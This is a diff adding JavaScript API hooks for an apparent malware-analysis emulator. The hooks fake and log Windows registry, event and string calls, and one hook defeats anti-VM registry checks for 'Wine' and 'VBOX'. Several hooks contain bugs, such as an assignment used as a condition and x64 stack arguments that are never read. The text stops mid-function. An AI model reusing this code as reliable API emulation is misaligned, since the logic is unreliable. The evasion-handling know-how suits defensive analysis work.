b/Build/hooks/advapi32.js @@ -0,0 +1,490 @@ +// @ts-check +/// +/// +/// + +'use strict'; + +var RegCreateKey = new ApiHook(); +/* + LSTATUS RegCreateKeyA( + HKEY hKey, + LPCSTR lpSubKey, + PHKEY phkResult + ); +*/ +RegCreateKey.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + + var hKey ; + var lpSubKey; + var phkResult ; + + if (Emu.isx64) { + + hKey = Emu.ReadReg(REG_RCX); + lpSubKey = API.IsWapi ? Emu.ReadStringW(Emu.ReadReg(REG_RDX)) : Emu.ReadStringA(Emu.ReadReg(REG_RDX)); + phkResult = Emu.ReadReg(REG_R8); + + }else{ + + hKey = Emu.pop(); + lpSubKey = API.IsWapi ? Emu.ReadStringW(Emu.pop()) : Emu.ReadStringA(Emu.pop()); + phkResult = Emu.pop() + + } + + var Keys = { + 0x80000000: 'HKEY_CLASSES_ROOT', + 0x80000001: 'HKEY_CURRENT_USER', + 0x80000002: 'HKEY_LOCAL_MACHINE', + 0x80000003: 'HKEY_USERS', + 0x80000004: 'HKEY_PERFORMANCE_DATA', + 0x80000005: 'HKEY_CURRENT_CONFIG', + 0x80000006: 'HKEY_DYN_DATA' + } + + log("0x{0} : {1}({2}, '{3}', 0x{4}) = {5}".format( + ret.toString(16), + API.name, + Keys[hKey], + lpSubKey, + phkResult.toString(16), + 0x90 // static for now :D + )); + + Emu.WriteByte(phkResult,0x90); // i like nop :P . + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); // Form MS Docs . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +RegCreateKey.install('advapi32.dll', 'RegCreateKeyA'); +RegCreateKey.install('advapi32.dll', 'RegCreateKeyW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var RegSetValue = new ApiHook(); +/* + LSTATUS RegSetValueA( + HKEY hKey, + LPCSTR lpSubKey, + DWORD dwType, + LPCSTR lpData, + DWORD cbData + ); +*/ +RegSetValue.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + + var hKey ; + var lpSubKey; + var phkResult ; + + if (Emu.isx64) { + + hKey = Emu.ReadReg(REG_RCX); + lpSubKey = API.IsWapi ? Emu.ReadStringW(Emu.ReadReg(REG_RDX)) : Emu.ReadStringA(Emu.ReadReg(REG_RDX)); + phkResult = Emu.ReadReg(REG_R8); + + }else{ + + hKey = Emu.pop(); + lpSubKey = API.IsWapi ? Emu.ReadStringW(Emu.pop()) : Emu.ReadStringA(Emu.pop()); + phkResult = Emu.pop() + + } + + var Keys = { + 0x80000000: 'HKEY_CLASSES_ROOT', + 0x80000001: 'HKEY_CURRENT_USER', + 0x80000002: 'HKEY_LOCAL_MACHINE', + 0x80000003: 'HKEY_USERS', + 0x80000004: 'HKEY_PERFORMANCE_DATA', + 0x80000005: 'HKEY_CURRENT_CONFIG', + 0x80000006: 'HKEY_DYN_DATA', + 0x80000050: 'HKEY_PERFORMANCE_TEXT', + 0x80000060: 'HKEY_PERFORMANCE_NLSTEXT' + } + + warn("0x{0} : {1}({2}, '{3}', 0x{4})".format( + ret.toString(16), + API.name, + Keys[hKey], + lpSubKey, + phkResult.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +RegSetValue.install('advapi32.dll', 'RegSetValueA'); +RegSetValue.install('advapi32.dll', 'RegSetValueW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var RegSetValueEx = new ApiHook(); +/* + LSTATUS RegSetValueExA( + HKEY hKey, + LPCSTR lpValueName, + DWORD Reserved, + DWORD dwType, + CONST BYTE *lpData, + DWORD cbData + ); +*/ +RegSetValueEx.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + + var hKey ; + var lpValueName; + var Reserved; + var dwType; + var lpData; + var cbData; + + if (Emu.isx64) { + + hKey = Emu.ReadReg(REG_RCX); + lpValueName = API.IsWapi ? Emu.ReadStringW(Emu.ReadReg(REG_RDX)) : Emu.ReadStringA(Emu.ReadReg(REG_RDX)); + Reserved = Emu.ReadReg(REG_R8D); + dwType = Emu.ReadReg(REG_R9D); + + var shadow = Emu.ReadReg(REG_RSP) + 32; // not we are at the 5th param . + lpData = API.IsWapi ? Emu.ReadStringW(shadow) : Emu.ReadStringA(shadow); + // cbData = TODO: add Emu.ReadQWord(shadow+8); + + + }else{ + + hKey = Emu.pop(); + lpValueName = API.IsWapi ? Emu.ReadStringW(Emu.pop()) : Emu.ReadStringA(Emu.pop()); + Reserved = Emu.pop(); + dwType = Emu.pop(); + lpData = Emu.pop(); + cbData = Emu.pop(); + + } + + var Keys = { + 0x80000000: 'HKEY_CLASSES_ROOT', + 0x80000001: 'HKEY_CURRENT_USER', + 0x80000002: 'HKEY_LOCAL_MACHINE', + 0x80000003: 'HKEY_USERS', + 0x80000004: 'HKEY_PERFORMANCE_DATA', + 0x80000005: 'HKEY_CURRENT_CONFIG', + 0x80000006: 'HKEY_DYN_DATA', + 0x80000050: 'HKEY_PERFORMANCE_TEXT', + 0x80000060: 'HKEY_PERFORMANCE_NLSTEXT' + } + var Types = { + 0: 'REG_NONE',// No value type + 1: 'REG_SZ',// Unicode or ANSI nul terminated string + 2: 'REG_EXPAND_SZ', // Unicode or ANSI nul terminated string + 3: 'REG_BINARY',// Free form binary + 4: 'REG_DWORD_LITTLE_ENDIAN',// 32-bit number + 5: 'REG_DWORD_BIG_ENDIAN',// 32-bit number + 6: 'REG_LINK',// Symbolic Link (unicode) + 7: 'REG_MULTI_SZ',// Multiple Unicode strings + 8: 'REG_RESOURCE_LIST',// Resource list in the resource map + 9: 'REG_FULL_RESOURCE_DESCRIPTOR',// Resource list in the hardware description + 10: 'REG_RESOURCE_REQUIREMENTS_LIST', + 11: 'REG_QWORD'// 64-bit number + } + + var handle = Keys[hKey] !== undefined ? Keys[hKey] : hKey; + var type = Types[dwType]; + + var data = null; + if (dwType == 1 || dwType == 2 || dwType == 6 ){ + data = "'" + (API.IsWapi ? Emu.ReadStringW(lpData) : Emu.ReadStringA(lpData)) + "'"; + } + // Binary .. + if (dwType == 3){ + Emu.HexDump(lpData,cbData); // dump hex :D .. + // TODO: add dump to file ;) + } + + warn("0x{0} : {1}({2}, '{3}', {4}, {5}, {6}, {7})".format( + ret.toString(16), + API.name, + handle, + lpValueName, + Reserved.toString(16), + type, + data, + Emu.isx64 ? 0 : cbData + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +RegSetValueEx.install('advapi32.dll', 'RegSetValueExA'); +RegSetValueEx.install('advapi32.dll', 'RegSetValueExW'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var RegCloseKey = new ApiHook(); +/* + LSTATUS RegCloseKey( + HKEY hKey + ); +*/ +RegCloseKey.OnCallBack = function (Emu, API,ret) { + Emu.pop(); + + print('0x{0} : RegCloseKey()'.format( + ret.toString(16), + Emu.pop() + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; +}; +RegCloseKey.install('advapi32.dll', 'RegCloseKey'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var RegOpenKey = new ApiHook(); +/* +LSTATUS RegOpenKey( + HKEY hKey, + LPCSTR lpSubKey, + PHKEY phkResult +); +*/ + +var blacklist = [ + 'Wine', + 'VBOX', + 'VBOX__' +]; + +RegOpenKey.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var hKey = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var lpSubKey = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var phkResult = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + + var value = API.IsWapi ? Emu.ReadStringW(lpSubKey) : Emu.ReadStringA(lpSubKey); + + var AntiCheck = blacklist.inList(value,true); + + var handle = AntiCheck ? 0 : 0xF1; // 0 if antiVM else give a fake handle :V + + if (phkResult !== 0) { + Emu.WriteDword(phkResult,handle); // fake handle :D + } + + warn("0x{0} : {1}({2}, '{3}', 0x{4}) = {5} ".format( + ret.toString(16), + API.name, + hKey.toString(16), + value, + phkResult.toString(16), + !AntiCheck + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, AntiCheck ? 1 : 0); // ERROR_SUCCESS = 0 . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +RegOpenKey.install('advapi32.dll', 'RegOpenKeyA'); +RegOpenKey.install('advapi32.dll', 'RegOpenKeyW'); + +/* +################################################################################################### +################################################################################################### +*/ +var RegOpenKeyEx = new ApiHook(); +/* +LSTATUS RegOpenKeyEx( + HKEY hKey, + LPCSTR lpSubKey, + DWORD ulOptions, + REGSAM samDesired, + PHKEY phkResult +); +*/ +RegOpenKeyEx.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var hKey = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var lpSubKey = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var ulOptions = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var samDesired = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 Shadow for x64 as MS describe it :D + // not we are at the 5th param . + var phkResult = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + + if (phkResult !== 0) { + Emu.WriteDword(phkResult,0xF0); // fake handle :D + } + + warn("0x{0} : {1}({2}, '{3}', {4}, {5}, 0x{6})".format( + ret.toString(16), + API.name, + hKey, + API.IsWapi ? Emu.ReadStringW(lpSubKey) : Emu.ReadStringA(lpSubKey), + ulOptions, + samDesired, + phkResult.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); // ERROR_SUCCESS . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +RegOpenKeyEx.install('advapi32.dll', 'RegOpenKeyExA'); +RegOpenKeyEx.install('advapi32.dll', 'RegOpenKeyExW'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var RegQueryValueEx = new ApiHook(); +/* +LSTATUS RegQueryValueEx( + HKEY hKey, + LPCSTR lpValueName, + LPDWORD lpReserved, + LPDWORD lpType, + __out_data_source(REGISTRY)LPBYTE lpData, + LPDWORD lpcbData +); +*/ +RegQueryValueEx.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var hKey = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var lpValueName = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var lpReserved = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var lpType = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 Shadow for x64 as MS describe it :D + // not we are at the 5th param . + var lpData = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + var lpcbData = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 8) : Emu.pop(); + + // TODO: make array of reg data or what ever :D + if (lpData !== 0 && lpcbData !== 0) { + + if (lpType = 0) { + Emu.WriteDword(lpcbData,4); + Emu.WriteByte(lpData,0x30); + } + } + + warn("0x{0} : {1}(0x{2}, '{3}', 0x{4}, 0x{5}, 0x{6}, 0x{7})".format( + ret.toString(16), + API.name, + hKey.toString(16), + API.IsWapi ? Emu.ReadStringW(lpValueName) : Emu.ReadStringA(lpValueName), + lpReserved.toString(16), + lpType.toString(16), + lpData.toString(16), + lpcbData.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); // ERROR_SUCCESS . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +RegQueryValueEx.install('advapi32.dll', 'RegQueryValueExA'); +RegQueryValueEx.install('advapi32.dll', 'RegQueryValueExW'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var EventRegister = new ApiHook(); +/* +ULONG EVNTAPI EventRegister( + LPCGUID ProviderId, + PENABLECALLBACK EnableCallback, + PVOID CallbackContext, + PREGHANDLE RegHandle +); +*/ +EventRegister.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var ProviderId = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var EnableCallback = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var CallbackContext = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var RegHandle = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + + log("0x{0} : EventRegister(0x{1}, 0x{2}, 0x{3}, 0x{4})".format( + ret.toString(16), + ProviderId.toString(16), + EnableCallback.toString(16), + CallbackContext.toString(16), + RegHandle.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); // Returns ERROR_SUCCESS if successful. + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +EventRegister.install('advapi32.dll', 'EventRegister'); + +/* +################################################################################################### +################################################################################################### +*/ + + + + + + + + + + + + + + + + diff --git a/Build/hooks/c_runtime.js b/Build/hooks/c_runtime.js new file mode 100644 index 0000000..c76913d --- /dev/null +++ b/Build/hooks/c_runtime.js @@ -0,0 +1,25 @@ +'use strict'; + + +var exit = new ApiHook(); +exit.OnCallBack = function (Emu, API,ret) { + + Emu.Stop(); + + error('0x{0} : {1}'.format( + ret.toString(16), + API.name + )); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +exit.install('api-ms-win-crt-runtime-l1-1-0.dll', 'exit'); +exit.install('api-ms-win-crt-runtime-l1-1-0.dll', '_exit'); + +/* +################################################################################################### +################################################################################################### +*/ + + + diff --git a/Build/hooks/const.js b/Build/hooks/const.js new file mode 100644 index 0000000..6f4385c --- /dev/null +++ b/Build/hooks/const.js @@ -0,0 +1,279 @@ +'use strict'; + +/** + * X86 Registers . + */ +var REG_AH = 1; +var REG_AL = 2; +var REG_AX = 3; +var REG_BH = 4; +var REG_BL = 5; +var REG_BP = 6; +var REG_BPL = 7; +var REG_BX = 8; +var REG_CH = 9; +var REG_CL = 10; +var REG_CS = 11; +var REG_CX = 12; +var REG_DH = 13; +var REG_DI = 14; +var REG_DIL = 15; +var REG_DL = 16; +var REG_DS = 17; +var REG_DX = 18; +var REG_EAX = 19; +var REG_EBP = 20; +var REG_EBX = 21; +var REG_ECX = 22; +var REG_EDI = 23; +var REG_EDX = 24; +var REG_EFLAGS = 25; +var REG_EIP = 26; +var REG_EIZ = 27; +var REG_ES = 28; +var REG_ESI = 29; +var REG_ESP = 30; +var REG_FPSW = 31; +var REG_FS = 32; +var REG_GS = 33; +var REG_IP = 34; +var REG_RAX = 35; +var REG_RBP = 36; +var REG_RBX = 37; +var REG_RCX = 38; +var REG_RDI = 39; +var REG_RDX = 40; +var REG_RIP = 41; +var REG_RIZ = 42; +var REG_RSI = 43; +var REG_RSP = 44; +var REG_SI = 45; +var REG_SIL = 46; +var REG_SP = 47; +var REG_SPL = 48; +var REG_SS = 49; +var REG_CR0 = 50; +var REG_CR1 = 51; +var REG_CR2 = 52; +var REG_CR3 = 53; +var REG_CR4 = 54; +var REG_CR5 = 55; +var REG_CR6 = 56; +var REG_CR7 = 57; +var REG_CR8 = 58; +var REG_CR9 = 59; +var REG_CR10 = 60; +var REG_CR11 = 61; +var REG_CR12 = 62; +var REG_CR13 = 63; +var REG_CR14 = 64; +var REG_CR15 = 65; +var REG_DR0 = 66; +var REG_DR1 = 67; +var REG_DR2 = 68; +var REG_DR3 = 69; +var REG_DR4 = 70; +var REG_DR5 = 71; +var REG_DR6 = 72; +var REG_DR7 = 73; +var REG_DR8 = 74; +var REG_DR9 = 75; +var REG_DR10 = 76; +var REG_DR11 = 77; +var REG_DR12 = 78; +var REG_DR13 = 79; +var REG_DR14 = 80; +var REG_DR15 = 81; +var REG_FP0 = 82; +var REG_FP1 = 83; +var REG_FP2 = 84; +var REG_FP3 = 85; +var REG_FP4 = 86; +var REG_FP5 = 87; +var REG_FP6 = 88; +var REG_FP7 = 89; +var REG_K0 = 90; +var REG_K1 = 91; +var REG_K2 = 92; +var REG_K3 = 93; +var REG_K4 = 94; +var REG_K5 = 95; +var REG_K6 = 96; +var REG_K7 = 97; +var REG_MM0 = 98; +var REG_MM1 = 99; +var REG_MM2 = 100; +var REG_MM3 = 101; +var REG_MM4 = 102; +var REG_MM5 = 103; +var REG_MM6 = 104; +var REG_MM7 = 105; +var REG_R8 = 106; +var REG_R9 = 107; +var REG_R10 = 108; +var REG_R11 = 109; +var REG_R12 = 110; +var REG_R13 = 111; +var REG_R14 = 112; +var REG_R15 = 113; +var REG_ST0 = 114; +var REG_ST1 = 115; +var REG_ST2 = 116; +var REG_ST3 = 117; +var REG_ST4 = 118; +var REG_ST5 = 119; +var REG_ST6 = 120; +var REG_ST7 = 121; +var REG_XMM0 = 122; +var REG_XMM1 = 123; +var REG_XMM2 = 124; +var REG_XMM3 = 125; +var REG_XMM4 = 126; +var REG_XMM5 = 127; +var REG_XMM6 = 128; +var REG_XMM7 = 129; +var REG_XMM8 = 130; +var REG_XMM9 = 131; +var REG_XMM10 = 132; +var REG_XMM11 = 133; +var REG_XMM12 = 134; +var REG_XMM13 = 135; +var REG_XMM14 = 136; +var REG_XMM15 = 137; +var REG_XMM16 = 138; +var REG_XMM17 = 139; +var REG_XMM18 = 140; +var REG_XMM19 = 141; +var REG_XMM20 = 142; +var REG_XMM21 = 143; +var REG_XMM22 = 144; +var REG_XMM23 = 145; +var REG_XMM24 = 146; +var REG_XMM25 = 147; +var REG_XMM26 = 148; +var REG_XMM27 = 149; +var REG_XMM28 = 150; +var REG_XMM29 = 151; +var REG_XMM30 = 152; +var REG_XMM31 = 153; +var REG_YMM0 = 154; +var REG_YMM1 = 155; +var REG_YMM2 = 156; +var REG_YMM3 = 157; +var REG_YMM4 = 158; +var REG_YMM5 = 159; +var REG_YMM6 = 160; +var REG_YMM7 = 161; +var REG_YMM8 = 162; +var REG_YMM9 = 163; +var REG_YMM10 = 164; +var REG_YMM11 = 165; +var REG_YMM12 = 166; +var REG_YMM13 = 167; +var REG_YMM14 = 168; +var REG_YMM15 = 169; +var REG_YMM16 = 170; +var REG_YMM17 = 171; +var REG_YMM18 = 172; +var REG_YMM19 = 173; +var REG_YMM20 = 174; +var REG_YMM21 = 175; +var REG_YMM22 = 176; +var REG_YMM23 = 177; +var REG_YMM24 = 178; +var REG_YMM25 = 179; +var REG_YMM26 = 180; +var REG_YMM27 = 181; +var REG_YMM28 = 182; +var REG_YMM29 = 183; +var REG_YMM30 = 184; +var REG_YMM31 = 185; +var REG_ZMM0 = 186; +var REG_ZMM1 = 187; +var REG_ZMM2 = 188; +var REG_ZMM3 = 189; +var REG_ZMM4 = 190; +var REG_ZMM5 = 191; +var REG_ZMM6 = 192; +var REG_ZMM7 = 193; +var REG_ZMM8 = 194; +var REG_ZMM9 = 195; +var REG_ZMM10 = 196; +var REG_ZMM11 = 197; +var REG_ZMM12 = 198; +var REG_ZMM13 = 199; +var REG_ZMM14 = 200; +var REG_ZMM15 = 201; +var REG_ZMM16 = 202; +var REG_ZMM17 = 203; +var REG_ZMM18 = 204; +var REG_ZMM19 = 205; +var REG_ZMM20 = 206; +var REG_ZMM21 = 207; +var REG_ZMM22 = 208; +var REG_ZMM23 = 209; +var REG_ZMM24 = 210; +var REG_ZMM25 = 211; +var REG_ZMM26 = 212; +var REG_ZMM27 = 213; +var REG_ZMM28 = 214; +var REG_ZMM29 = 215; +var REG_ZMM30 = 216; +var REG_ZMM31 = 217; +var REG_R8B = 218; +var REG_R9B = 219; +var REG_R10B = 220; +var REG_R11B = 221; +var REG_R12B = 222; +var REG_R13B = 223; +var REG_R14B = 224; +var REG_R15B = 225; +var REG_R8D = 226; +var REG_R9D = 227; +var REG_R10D = 228; +var REG_R11D = 229; +var REG_R12D = 230; +var REG_R13D = 231; +var REG_R14D = 232; +var REG_R15D = 233; +var REG_R8W = 234; +var REG_R9W = 235; +var REG_R10W = 236; +var REG_R11W = 237; +var REG_R12W = 238; +var REG_R13W = 239; +var REG_R14W = 240; +var REG_R15W = 241; +var REG_IDTR = 242; +var REG_GDTR = 243; +var REG_LDTR = 244; +var REG_TR = 245; +var REG_FPCW = 246; +var REG_FPTAG = 247; +var REG_MSR = 248; + +/** + * FLAGS 1Bit . +*/ +var FLAG_CF = 1; // Carry flag . +var FLAG_PF = 2; // Parity flag . +var FLAG_AF = 3; // Adjust flag . +var FLAG_ZF = 4; // Zero flag . +var FLAG_SF = 5; // Sign flag . +var FLAG_TF = 6; // Trap flag (single step) . +var FLAG_IF = 7; // Interrupt enable flag . +var FLAG_DF = 8; // Direction flag . +var FLAG_OF = 9; // Overflow flag . +var FLAG_NT = 10; // Nested task flag (286+ only), always 1 on 8086 and 186 . +var FLAG_IOPL = 11; // {2Bits} I/O privilege level (286+ only), always 1 on 8086 and 186 . +/** + * EFLAGS 1 Bit. + */ +var FLAG_RF = 12; // Resume flag (386+ only) . +var FLAG_VM = 13; // Virtual 8086 mode flag (386+ only) . +var FLAG_AC = 14; // Alignment check (486SX+ only) . +var FLAG_VIF= 15; // Virtual interrupt flag (Pentium+) . +var FLAG_ID = 16; // Able to use CPUID instruction (Pentium+). +var FLAG_VIP = 17; // Virtual interrupt pending (Pentium+). +var FLAG_ID2 = 18; // Able to use CPUID instruction (Pentium+). +var FLAG_VAD = 19; // {2Bits} VAD Flag . diff --git a/Build/hooks/kernek32_strings.js b/Build/hooks/kernek32_strings.js new file mode 100644 index 0000000..269674c --- /dev/null +++ b/Build/hooks/kernek32_strings.js @@ -0,0 +1,271 @@ +// @ts-check +/// +/// +/// + +'use strict'; + +var MultiByteToWideChar = new ApiHook(); +/* +int MultiByteToWideChar( + UINT CodePage, + DWORD dwFlags, + _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, + int cbMultiByte, + LPWSTR lpWideCharStr, + int cchWideChar +); +*/ +MultiByteToWideChar.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var CodePage = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwFlags = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var lpMultiByteStr = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var cbMultiByte = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 Shadow for x64 as MS describe it :D + // not we are at the 5th param . + var lpWideCharStr = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + var cchWideChar = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 8) : Emu.pop(); + + if (lpWideCharStr !== 0){ + + var byte; + var i ; + + // mem copy :V . + for (i = 0; i < cbMultiByte; i++) { + byte = Emu.ReadByte(lpMultiByteStr + i); + Emu.WriteByte(lpWideCharStr + i , byte); + } + } + + // console.log("MultiByteToWideChar({0}, {1}, 0x{2}, {3}, {4}, {5})".format( + // CodePage, + // dwFlags, + // lpMultiByteStr.toString(16), + // cbMultiByte, + // lpWideCharStr.toString(16), + // cchWideChar + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, cbMultiByte); // just for now :P . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +MultiByteToWideChar.install('kernel32.dll', 'MultiByteToWideChar'); +MultiByteToWideChar.install('api-ms-win-core-string-l1-1-0.dll', 'MultiByteToWideChar'); + +/* +################################################################################################### +################################################################################################### +*/ + +var WideCharToMultiByte = new ApiHook(); +/* +int WideCharToMultiByte( + UINT CodePage, + DWORD dwFlags, + _In_NLS_string_(cchWideChar)LPCWCH lpWideCharStr, + int cchWideChar, + LPSTR lpMultiByteStr, + int cbMultiByte, + LPCCH lpDefaultChar, + LPBOOL lpUsedDefaultChar +); +*/ +WideCharToMultiByte.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var CodePage = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwFlags = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var lpWideCharStr = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var cchWideChar = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 Shadow for x64 as MS describe it :D + // not we are at the 5th param . + var lpMultiByteStr = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + var cbMultiByte = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 8) : Emu.pop(); + var lpDefaultChar = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 16) : Emu.pop(); + var lpUsedDefaultChar = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 24) : Emu.pop(); + + + if (lpMultiByteStr !== 0 && cchWideChar !== 0){ + + var byte; + var i ; + + // mem copy :V . + for (i = 0; i < cchWideChar; i++) { + byte = Emu.ReadWord(lpWideCharStr + i ); + Emu.WriteByte(lpMultiByteStr + i , byte); + } + } + + // console.log("WideCharToMultiByte({0}, {1}, 0x{2}, {3}, 0x{4}, {5}, {6}, {7})".format( + // CodePage, + // dwFlags, + // lpWideCharStr.toString(16), + // cchWideChar, + // lpMultiByteStr.toString(16), + // cbMultiByte, + // lpDefaultChar, + // lpUsedDefaultChar + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, cchWideChar); // just for now :P . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +WideCharToMultiByte.install('kernel32.dll', 'WideCharToMultiByte'); +WideCharToMultiByte.install('api-ms-win-core-string-l1-1-0.dll', 'WideCharToMultiByte'); + +/* +################################################################################################### +################################################################################################### +*/ + +var LCMapString = new ApiHook(); +/* +int LCMapStringA( + LCID Locale, + DWORD dwMapFlags, + LPCSTR lpSrcStr, + int cchSrc, + LPSTR lpDestStr, + int cchDest +); +*/ +LCMapString.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var Locale = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwMapFlags = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var lpSrcStr = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var cchSrc = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 Shadow for x64 as MS describe it :D + var lpDestStr = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + var cchDest = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 8) : Emu.pop(); + + + if (lpDestStr !== 0){ + + var byte; + var i ; + + // mem copy :V . + for (i = 0; i < cchSrc; i++) { + byte = Emu.ReadByte(lpSrcStr + i); + Emu.WriteByte(lpDestStr + i , byte); + } + } + + // console.log("LCMapString{0}({1}, {2}, 0x{3}, {4}, 0x{5}, {6})".format( + // API.IsWapi ? 'W' : 'A', + // Locale, + // dwMapFlags, + // lpSrcStr.toString(16), + // cchSrc, + // lpDestStr.toString(16), + // cchDest + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, cchSrc); // just for now :P . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +LCMapString.install('kernel32.dll', 'LCMapStringA'); +LCMapString.install('kernel32.dll', 'LCMapStringW'); + +LCMapString.install('api-ms-win-core-localization-l1-1-0.dll', 'LCMapStringW'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var LCMapStringEx = new ApiHook(); +/* +int LCMapStringEx( + LPCWSTR lpLocaleName, + DWORD dwMapFlags, + LPCWSTR lpSrcStr, + int cchSrc, + LPWSTR lpDestStr, + int cchDest, + LPNLSVERSIONINFO lpVersionInformation, + LPVOID lpReserved, + LPARAM sortHandle +); +*/ +LCMapStringEx.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pop return address .. + + var Locale = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwMapFlags = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var lpSrcStr = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var cchSrc = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + // 32 Shadow for x64 as MS describe it :D + var lpDestStr = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32) : Emu.pop(); + var cchDest = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 8) : Emu.pop(); + + var lpVersionInformation = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 8) : Emu.pop(); + var lpReserved = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 16) : Emu.pop(); + var sortHandle = Emu.isx64 ? (Emu.ReadReg(REG_RSP) + 32 + 24) : Emu.pop(); + + + if (lpDestStr !== 0){ + + var byte; + var i ; + + // mem copy :V . + for (i = 0; i < cchSrc; i++) { + byte = Emu.ReadByte(lpSrcStr + i); + 